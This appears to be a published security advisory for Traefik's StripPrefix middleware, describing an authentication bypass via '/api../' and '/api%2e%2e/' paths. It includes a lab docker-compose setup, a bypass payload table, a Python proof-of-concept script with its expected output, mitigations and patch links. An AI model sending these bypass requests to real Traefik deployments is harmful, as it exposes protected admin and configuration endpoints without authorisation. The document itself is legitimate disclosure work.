PT-2026-48684 · Go · Github.Com/Traefik/Traefik/V2+1
Published
2026-06-11
·
Updated
2026-06-11
·
CVE-2026-48020
CVSS v4.0
7.8
High
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
Summary
There is a high severity vulnerability in Traefik's
StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48
- https://github.com/traefik/traefik/releases/tag/v3.6.19
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when
PathPrefix-based public routes are combined with StripPrefix.A request using
/api../ or /api%2e%2e/ can avoid protected router rules at the routing stage, but after StripPrefix, the path is normalized and forwarded to the backend as a protected path such as /admin or /internal/config.This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed
StripPrefixRegex / path-normalization issues.This report specifically affects
StripPrefix.Affected Versions Tested
| Image | Observed Version | Result |
|---|---|---|
traefik:v2.11 | v2.11.46 | Affected |
traefik:v3.6 | v3.6.17 | Affected |
traefik:latest | v3.7.1 | Affected |
Lab Contrast
| Image | Result |
|---|---|
traefik:v2.10 | Not reproduced in lab |
traefik:v3.5 | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
- a broad public route strips a prefix
- while a separate protected route is intended to guard internal/admin paths
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed |
|---|---|---|
GET /admin | Blocked | 401 |
GET /internal/config | Blocked | 401 |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed |
|---|---|---|
GET /api/admin | Not routed to protected backend path | 404 |
GET /api/internal/config | Not routed to protected backend path | 404 |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives |
|---|---|---|
GET /api../admin | 200 | /admin |
GET /api%2e%2e/admin | 200 | /admin |
GET /api../internal/config | 200 | /internal/config |
GET /api%2e%2e/internal/config | 200 | /internal/config |
Minimal PoC
docker-compose.yml
services:
traefik:
image: traefik:v3.7
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:8080
- --accesslog=true
ports:
- "127.0.0.1:18080:8080"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
depends on:
- backend
backend:
image: python:3.12-slim
working dir: /app
command: python backend.py
volumes:
- ./backend.py:/app/backend.py:ro
expose:
- "9000"
dynamic.yml
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
backend.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def log message(self, fmt, *args):
return
def json(self, status, obj):
body = json.dumps(obj).encode()
self.send response(status)
self.send header("Content-Type", "application/json")
self.send header("Content-Length", str(len(body)))
self.end headers()
self.wfile.write(body)
def do GET(self):
if self.path == "/admin":
self. json(200, {
"seen path": self.path,
"secret": "ADMIN SECRET REACHED"
})
elif self.path == "/internal/config":
self. json(200, {
"seen path": self.path,
"secret": "TRAEFIK LAB INTERNAL CONFIG"
})
elif self.path == "/admin/exec":
self. json(200, {
"seen path": self.path,
"rce chain marker": True,
"note": "protected execution endpoint reached"
})
else:
self. json(404, {
"seen path": self.path,
"secret": None
})
HTTPServer(("0.0.0.0", 9000), Handler).serve forever()
poc.py
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [
"/admin",
"/internal/config",
"/api/admin",
"/api/internal/config",
"/api../admin",
"/api%2e%2e/admin",
"/api../internal/config",
"/api%2e%2e/internal/config",
"/admin/exec",
"/api/admin/exec",
"/api../admin/exec",
"/api%2e%2e/admin/exec",
]
for path in PATHS:
req = Request(BASE + path)
try:
with urlopen(req, timeout=5) as r:
status = r.status
body = r.read().decode(errors="replace")
except HTTPError as e:
status = e.code
body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
Run
docker compose up -d
python3 poc.py
Expected Vulnerable Output
/admin 401
/internal/config 401
/api/admin 404
/api/internal/config 404
/api../admin 200 backend seen path=/admin
/api%2e%2e/admin 200 backend seen path=/admin
/api../internal/config 200 backend seen path=/internal/config
/api%2e%2e/internal/config 200 backend seen path=/internal/config
/api../admin/exec 200 protected execution endpoint reached
/api%2e%2e/admin/exec 200 protected execution endpoint reached
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
Incoming path: /api../admin
After StripPrefix("/api"): /../admin
After JoinPath(): /admin
The request does not match the protected
/admin router at the routing stage, but the backend receives /admin after normalization.The relevant behavior appears related to
StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.Security Impact
An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.
Potential impact includes:
- Access to protected admin paths
- Access to internal configuration endpoints
- Exposure of secrets returned by internal backends
- Access to protected backend management functionality
- Conditional RCE if the protected backend exposes an execution primitive
In the local lab, a protected
/admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.
Suggested Severity
Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.
If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.
Weakness
Primary CWE:
CWE-863: Incorrect Authorization
Related weakness candidates:
CWE-180: Incorrect Behavior Order: Validate Before CanonicalizeCWE-22: Improper Limitation of a Pathname to a Restricted Directory
Mitigation Verified in Lab
The bypass was blocked when using a stricter prefix boundary:
PathRegexp(`^/api(/|$)`)
or:
PathPrefix(`/api/`) with StripPrefix(`/api/`)
Relation to Existing Advisories
This appears related to the same vulnerability family as prior Traefik path normalization /
StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.
Reporter
WonYun / kyun0
Fix
Authentication Bypass Using an Alternate Path or Channel
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Traefik/Traefik/V2
Github.Com/Traefik/Traefik/V3